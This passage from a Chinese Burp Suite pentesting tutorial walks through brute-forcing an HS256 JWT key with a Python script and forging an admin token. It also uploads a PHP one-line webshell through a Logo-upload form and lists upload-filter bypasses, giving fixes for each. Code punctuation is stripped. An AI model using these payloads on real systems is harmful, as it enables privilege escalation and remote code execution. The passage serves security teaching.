逐个测试边界值。记住业务规则是写在代码里的不是写在文档里的而 Burp 能让你直接读到代码的意图。4.2 案例二JWT Token 签名爆破与越权访问认证绕过场景还原某 SaaS 系统使用 JWT 认证Token 形如eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzEwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c。前端存储在 localStorage每次请求带Authorization: Bearer token。Burp 操作链路Proxy → HTTP history中找到带Authorization头的请求右键Send to Repeater在 Repeater 中将 Token 拆分为三段Header.Payload.Signature用 Base64 解码 Header 查看算法{alg:HS256,typ:JWT}Extensions → BApps → JWT Editor需提前安装插件→Decode→Bruteforce signature→ 选择Wordlist如rockyou.txt的前 500 行插件自动尝试每个密钥签名当Signature valid显示True时说明爆破成功本例密钥为secret123修改 Payload 中的role:user为role:admin用secret123重新签名 → 替换原 Token → 发送请求 → 返回管理员数据漏洞定级严重CVSS 9.1可导致水平/垂直越权修复建议JWT 密钥必须强随机32 字节以上且禁止硬编码生产环境应使用 RS256 等非对称算法注意事项JWT Editor 插件需在Extender → BApp Store中搜索安装。若无插件可手动用 Python 脚本爆破附代码import jwt import sys token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzEwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c header, payload, signature token.split(.) with open(wordlist.txt) as f: for key in f: key key.strip() try: decoded jwt.decode(token, key, algorithms[HS256]) print(f[] Found key: {key}) break except: continue4.3 案例三文件上传绕过与 WebShell 写入文件包含场景还原某 CMS 后台提供“Logo 上传”功能限制类型为 JPG/PNG大小 ≤2MB。上传后访问/uploads/logo_123.jpg可查看。Burp 操作链路Proxy → HTTP history中找到上传请求通常是POST /admin/upload右键Send to Repeater在 Repeater 的Raw标签页中找到文件字段如Content-Disposition: form-data; namefile; filenamelogo.jpg将filename改为shell.phpContent-Type改为application/x-php在文件内容中写入 PHP 一句话木马?php eval($_POST[cmd]); ?发送请求 → 响应返回{code:200,url:/uploads/logo_123.php}用GET /uploads/logo_123.php?cmdsystem(id)验证执行权限漏洞定级严重CVSS 9.8可导致远程代码执行修复建议服务端应校验文件魔数Magic Number而非仅依赖扩展名上传目录禁止执行权限使用白名单 MIME 类型关键细节若服务端校验严格可尝试“双扩展名”绕过shell.php.jpg、空字节截断shell.php%00.jpg、或利用图像 EXIF 数据嵌入 PHP 代码需配合exif_read_data()函数。这些技巧均需在 Repeater 中手工构造请求验证。5. 从“会用”到“用好”那些没人告诉你的实战心法5.1 工作区管理别让 Burp 变成“电子垃圾场”Burp 默认每次启动都是新工作区历史记录、配置、扫描结果全丢失。我见过太多人测试到一半崩溃重开 Burp 后发现所有标注、字典、Intruder 配置全没了。解决方案是强制使用持久化工作区。启动 Burp 时勾选Use project file指定路径如D:\burp\projects\ecommerce-2024.burp每次退出前File → Save project快捷键CtrlS进阶技巧为不同客户/项目创建独立工作区并用Project options → Connections → Upstream proxy servers配置出口代理如公司统一代理避免测试流量混入办公网个人习惯我在D:\burp\projects\下建三个固定文件夹templates存通用字典、Intruder 模板、clients按客户命名如client-a-2024.burp、research临时测试用每周清空。这样三年下来所有测试资产都可追溯、可复用。5.2 插件生态让 Burp 从“瑞士军刀”升级为“定制手术台”Burp 社区版虽功能完整但插件能解决 80% 的重复劳动。我日常必装的 5 个插件插件名功能安装方式我的使用频率Logger全流量日志记录支持 SQL/JS/XSS 高亮BApp Store 搜索安装每次测试必开替代默认 Proxy HistoryAutorize自动化权限测试检测越权访问GitHub 下载 JARExtender → Add每个新系统必跑10 分钟发现 80% 的 IDORJSON Beautifier自动格式化 JSON 响应支持折叠/搜索BApp Store 安装每次打开 Response 就自动触发Turbo Intruder高性能 Intruder 替代品支持 Python 脚本GitHub 下载Extender → Add大规模爆破时启用速度提升 5 倍JWT EditorJWT 编码/解码/爆破/修改BApp Store 安装每次遇到 Token 就开安装提示所有插件必须下载.jar文件非.py或.rb在Extender → Add中选择Java类型。若报错UnsupportedClassVersionError说明 Java 版本不匹配——Burp 2023.8 需 Java 17旧版需 Java 11。5.3 效率革命键盘流操作与自定义快捷键Burp 默认界面按钮繁多鼠标操作慢。我将 90% 的操作压缩到 7 个快捷键CtrlShiftP快速打开 Proxy HTTP history替代鼠标点菜单CtrlRRepeater 中重发当前请求不用点 Send 按钮CtrlEnterRepeater 中发送并自动跳转到 Response 标签页AltShiftIIntruder 中快速启动攻击替代鼠标点 Start attackCtrlShiftCComparer 中复制当前响应方便多窗口对比F2在任何文本框中快速编辑如修改 Repeater 的 Request BodyCtrlShiftHHTTP history 中快速过滤弹出 Filter 面板经验之谈花 20 分钟背熟这些快捷键一周后你会发现自己操作速度提升 3 倍。这不是玄学——安全测试是高度重复性劳动每一次鼠标移动都在消耗你的注意力带宽。把机械操作交给肌肉记忆才能把脑力留给真正的逻辑分析。5.4 心态建设接受“无效劳动”是专业成长的必经之路最后说点掏心窝的话。我刚开始用 Burp 时连续两周没找到一个像样的漏洞每天抓包、改包、重放得到的全是403 Forbidden、401 Unauthorized、Rate limit exceeded。挫败感极强甚至怀疑自己不适合这行。后来才明白安全测试的“有效产出”不是漏洞数量而是对系统行为边界的持续测绘。你今天看到的403可能是因为 WAF 规则拦截明天看到的401可能是 Token 过期时间太短后天看到的限速暗示着后端有风控系统。这些“无效响应”本身就是系统最真实的反馈。所以别追求“一击必杀”。把每次抓包当作一次对话你问一句系统答一句你换种问法它换种答法。当你说的话它都听懂了它自然会告诉你哪里没关严实。这个过程没有捷径只有大量、重复、枯燥的练习。而 Burp就是你和系统对话时最忠实的翻译官。我至今保留着第一份 Burp 工作区文件里面全是乱码请求和失败的 Intruder 日志。但它提醒我所有看起来游刃有余的“老手”都曾是从http://burp/cert这个链接开始一个字一个字敲进浏览器地址栏的。
